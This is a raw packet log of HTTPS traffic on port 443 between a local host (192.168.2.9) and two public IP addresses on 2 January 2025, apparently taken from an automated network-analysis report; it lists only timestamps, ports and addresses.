Jan 2, 2025 20:29:41.541335106 CET	49844	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:41.544214010 CET	443	49841	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:41.544285059 CET	49841	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:41.544586897 CET	49841	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:41.544598103 CET	443	49841	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:41.544763088 CET	49841	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:41.544778109 CET	443	49841	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:41.583336115 CET	443	49844	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:41.607647896 CET	443	49842	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:41.607753038 CET	49842	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:41.608438969 CET	443	49842	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:41.608500957 CET	49842	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:41.610579014 CET	49842	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:41.610584974 CET	443	49842	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:41.612371922 CET	443	49842	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:41.612418890 CET	49842	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:41.612891912 CET	49842	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:41.655332088 CET	443	49842	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:41.980643988 CET	443	49844	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:41.980707884 CET	49844	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:41.981184959 CET	443	49844	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:41.981234074 CET	49844	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:41.981254101 CET	443	49844	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:41.981353998 CET	49844	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:41.981353998 CET	49844	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:41.981379986 CET	49844	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:41.982198954 CET	49855	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:41.982264042 CET	443	49855	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:41.982326984 CET	49855	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:41.983249903 CET	49855	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:41.983264923 CET	443	49855	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:42.044433117 CET	443	49842	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:42.044528961 CET	49842	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:42.044548035 CET	443	49842	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:42.044584990 CET	49842	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:42.045613050 CET	443	49842	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:42.045659065 CET	443	49842	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:42.045667887 CET	49842	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:42.045694113 CET	49842	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:42.050921917 CET	443	49841	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:42.050972939 CET	443	49841	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:42.050991058 CET	49841	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:42.051001072 CET	443	49841	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:42.051090002 CET	443	49841	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:42.051094055 CET	49841	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:42.051107883 CET	49841	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:42.051208019 CET	49841	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:42.064858913 CET	443	49843	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:42.064898014 CET	443	49843	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:42.064918995 CET	49843	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:42.064949036 CET	443	49843	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:42.064960003 CET	49843	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:42.064995050 CET	49843	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:42.065490961 CET	443	49843	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:42.065532923 CET	443	49843	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:42.065551996 CET	49843	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:42.065588951 CET	49843	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:42.068855047 CET	49842	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:42.068886995 CET	443	49842	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:42.069866896 CET	49856	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:42.069931030 CET	443	49856	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:42.069991112 CET	49856	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:42.070456028 CET	49856	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:42.070487976 CET	443	49856	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:42.071446896 CET	49841	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:42.071460009 CET	443	49841	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:42.074071884 CET	49857	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:42.074111938 CET	443	49857	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:42.074171066 CET	49857	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:42.074503899 CET	49843	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:42.074516058 CET	443	49843	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:42.075025082 CET	49857	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:42.075037956 CET	443	49857	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:42.075274944 CET	49858	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:42.075309038 CET	443	49858	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:42.075381041 CET	49858	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:42.078674078 CET	49858	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:42.078687906 CET	443	49858	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:42.673489094 CET	443	49855	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:42.673624039 CET	49855	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:42.674215078 CET	49855	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:42.674220085 CET	443	49855	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:42.674416065 CET	49855	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:42.674418926 CET	443	49855	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:42.737956047 CET	443	49856	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:42.738018990 CET	49856	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:42.738665104 CET	49856	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:42.738671064 CET	443	49856	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:42.739108086 CET	49856	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:42.739111900 CET	443	49856	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:42.749655008 CET	443	49858	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:42.749757051 CET	49858	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:42.757754087 CET	443	49857	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:42.758730888 CET	49857	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:42.760075092 CET	49857	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:42.760091066 CET	443	49857	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:42.770910978 CET	49858	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:42.770935059 CET	443	49858	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:42.773840904 CET	49858	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:42.773847103 CET	443	49858	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:42.775098085 CET	49857	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:42.775125980 CET	443	49857	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:43.063128948 CET	443	49855	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:43.063568115 CET	49855	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:43.063592911 CET	443	49855	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:43.064137936 CET	49855	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:43.064255953 CET	443	49855	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:43.064304113 CET	443	49855	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:43.064352989 CET	49855	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:43.064522028 CET	49855	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:43.064534903 CET	443	49855	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:43.065227985 CET	49865	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:43.065267086 CET	443	49865	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:43.065326929 CET	49865	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:43.067981958 CET	49865	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:43.068000078 CET	443	49865	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:43.113495111 CET	443	49856	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:43.113631964 CET	49856	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:43.113776922 CET	49856	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:43.113811016 CET	443	49856	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:43.113858938 CET	49856	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:43.114573956 CET	49868	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:43.114614964 CET	443	49868	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:43.114794016 CET	49868	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:43.115242004 CET	49868	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:43.115252972 CET	443	49868	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:43.171192884 CET	443	49858	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:43.171251059 CET	443	49858	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:43.171262026 CET	49858	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:43.171278000 CET	443	49858	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:43.171324015 CET	49858	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:43.171329975 CET	443	49858	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:43.171363115 CET	49858	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:43.171370029 CET	443	49858	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:43.171380997 CET	443	49858	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:43.171417952 CET	49858	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:43.172065020 CET	49858	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:43.172081947 CET	443	49858	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:43.172641039 CET	49869	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:43.172674894 CET	443	49869	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:43.172749043 CET	49869	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:43.173053980 CET	49869	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:43.173074961 CET	443	49869	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:43.322181940 CET	443	49857	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:43.322228909 CET	443	49857	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:43.322241068 CET	49857	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:43.322259903 CET	443	49857	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:43.322302103 CET	49857	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:43.322302103 CET	49857	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:43.322310925 CET	443	49857	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:43.322321892 CET	443	49857	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:43.322356939 CET	49857	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:43.323422909 CET	49857	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:43.323436022 CET	443	49857	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:43.324098110 CET	49872	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:43.324109077 CET	443	49872	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:43.324482918 CET	49872	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:43.324807882 CET	49872	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:43.324812889 CET	443	49872	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:43.811918020 CET	443	49865	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:43.812016010 CET	49865	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:43.812717915 CET	443	49865	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:43.812766075 CET	49865	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:43.839826107 CET	443	49869	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:43.839930058 CET	49869	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:43.841212988 CET	443	49868	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:43.841280937 CET	49868	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:43.841969013 CET	443	49868	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:43.842015982 CET	49868	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:43.969189882 CET	49865	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:43.969228029 CET	443	49865	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:43.969542980 CET	443	49865	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:43.969563007 CET	49869	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:43.969573021 CET	443	49869	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:43.969765902 CET	49865	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:43.970098019 CET	49869	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:43.970103979 CET	443	49869	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:43.970448017 CET	49865	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:43.971045017 CET	443	49872	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:43.971111059 CET	49872	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:43.971549034 CET	49872	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:43.971556902 CET	443	49872	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:43.971724987 CET	49872	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:43.971729994 CET	443	49872	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:43.973896027 CET	49868	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:43.973917007 CET	443	49868	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:43.974507093 CET	443	49868	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:43.974553108 CET	49868	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:43.974895954 CET	49868	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:44.011333942 CET	443	49865	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:44.019330978 CET	443	49868	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:44.264096975 CET	443	49865	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:44.264624119 CET	49865	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:44.264642954 CET	443	49865	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:44.265033007 CET	49865	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:44.266959906 CET	49865	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:44.266999006 CET	443	49865	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:44.267086983 CET	49865	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:44.267189980 CET	49879	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:44.267241955 CET	443	49879	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:44.267285109 CET	49879	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:44.267678976 CET	49879	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:44.267692089 CET	443	49879	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:44.267968893 CET	443	49868	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:44.268057108 CET	49868	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:44.268064976 CET	443	49868	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:44.268095970 CET	49868	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:44.268145084 CET	49868	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:44.268177986 CET	443	49868	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:44.268310070 CET	443	49868	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:44.268347979 CET	49868	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:44.268359900 CET	49868	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:44.268596888 CET	49880	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:44.268641949 CET	443	49880	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:44.268695116 CET	49880	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:44.268851042 CET	49880	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:44.268862009 CET	443	49880	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:44.444498062 CET	443	49869	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:44.444535017 CET	443	49869	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:44.444602013 CET	49869	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:44.444618940 CET	443	49869	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:44.446145058 CET	49869	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:44.446188927 CET	443	49869	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:44.446232080 CET	443	49869	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:44.446264029 CET	49869	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:44.446290016 CET	49869	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:44.446418047 CET	49869	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:44.446433067 CET	443	49869	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:44.447053909 CET	49885	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:44.447072029 CET	443	49885	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:44.447129011 CET	49885	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:44.447429895 CET	49885	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:44.447438955 CET	443	49885	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:44.604104996 CET	443	49872	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:44.604159117 CET	443	49872	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:44.604193926 CET	49872	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:44.604223967 CET	443	49872	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:44.604240894 CET	49872	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:44.604263067 CET	49872	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:44.605073929 CET	49872	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:44.605118990 CET	443	49872	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:44.605165005 CET	49872	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:44.605710030 CET	49886	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:44.605746031 CET	443	49886	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:44.605916023 CET	49886	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:44.606138945 CET	49886	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:44.606148005 CET	443	49886	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:44.853102922 CET	49879	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:44.853756905 CET	49880	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:44.853899956 CET	49890	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:44.853931904 CET	443	49890	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:44.854065895 CET	49890	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:44.855226994 CET	49891	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:44.855285883 CET	443	49891	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:44.855345964 CET	49891	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:44.855565071 CET	49885	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:44.855592012 CET	49886	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:44.856476068 CET	49891	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:44.856492043 CET	443	49891	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:44.857671976 CET	49890	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:44.857682943 CET	443	49890	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:45.485822916 CET	443	49890	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:45.486148119 CET	49890	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:45.486602068 CET	443	49890	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:45.486711979 CET	49890	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:45.492244959 CET	49890	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:45.492257118 CET	443	49890	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:45.492508888 CET	443	49890	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:45.492631912 CET	49890	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:45.494014978 CET	443	49891	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:45.494041920 CET	49890	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:45.494080067 CET	49891	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:45.494870901 CET	443	49891	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:45.494910002 CET	49891	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:45.511126041 CET	49891	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:45.511162996 CET	443	49891	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:45.511468887 CET	443	49891	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:45.511511087 CET	49891	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:45.512111902 CET	49891	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:45.539324045 CET	443	49890	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:45.555334091 CET	443	49891	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:45.869961023 CET	443	49890	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:45.870064974 CET	49890	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:45.870071888 CET	443	49890	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:45.870217085 CET	49890	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:45.870217085 CET	49890	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:45.870244026 CET	443	49890	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:45.870309114 CET	49890	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:45.870887995 CET	49900	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:45.870901108 CET	49901	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:45.870920897 CET	443	49900	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:45.870928049 CET	443	49901	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:45.870976925 CET	49900	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:45.871006966 CET	49901	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:45.871220112 CET	49900	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:45.871231079 CET	443	49900	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:45.871419907 CET	49901	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:45.871431112 CET	443	49901	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:45.891102076 CET	443	49891	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:45.891156912 CET	49891	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:45.891176939 CET	443	49891	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:45.891212940 CET	49891	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:45.891320944 CET	49891	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:45.891352892 CET	443	49891	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:45.891395092 CET	49891	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:45.892049074 CET	49903	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:45.892076015 CET	49902	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:45.892093897 CET	443	49903	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:45.892115116 CET	443	49902	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:45.892152071 CET	49903	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:45.892390013 CET	49902	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:45.892390013 CET	49902	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:45.892437935 CET	443	49902	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:45.892570972 CET	49903	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:45.892600060 CET	443	49903	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:46.525538921 CET	443	49900	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:46.525605917 CET	49900	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:46.530740976 CET	49900	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:46.530755043 CET	443	49900	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:46.531002998 CET	443	49900	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:46.531050920 CET	49900	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:46.531521082 CET	49900	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:46.540719032 CET	443	49902	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:46.540813923 CET	49902	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:46.540983915 CET	443	49903	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:46.541069031 CET	49903	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:46.541510105 CET	443	49902	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:46.541600943 CET	49902	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:46.543180943 CET	49903	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:46.543188095 CET	443	49903	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:46.543438911 CET	443	49903	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:46.543673992 CET	49903	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:46.545088053 CET	49903	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:46.545382977 CET	49902	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:46.545389891 CET	443	49902	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:46.545660019 CET	443	49902	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:46.545846939 CET	49902	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:46.547184944 CET	49902	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:46.579325914 CET	443	49900	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:46.591320992 CET	443	49902	172.217.18.14	192.168.2.9
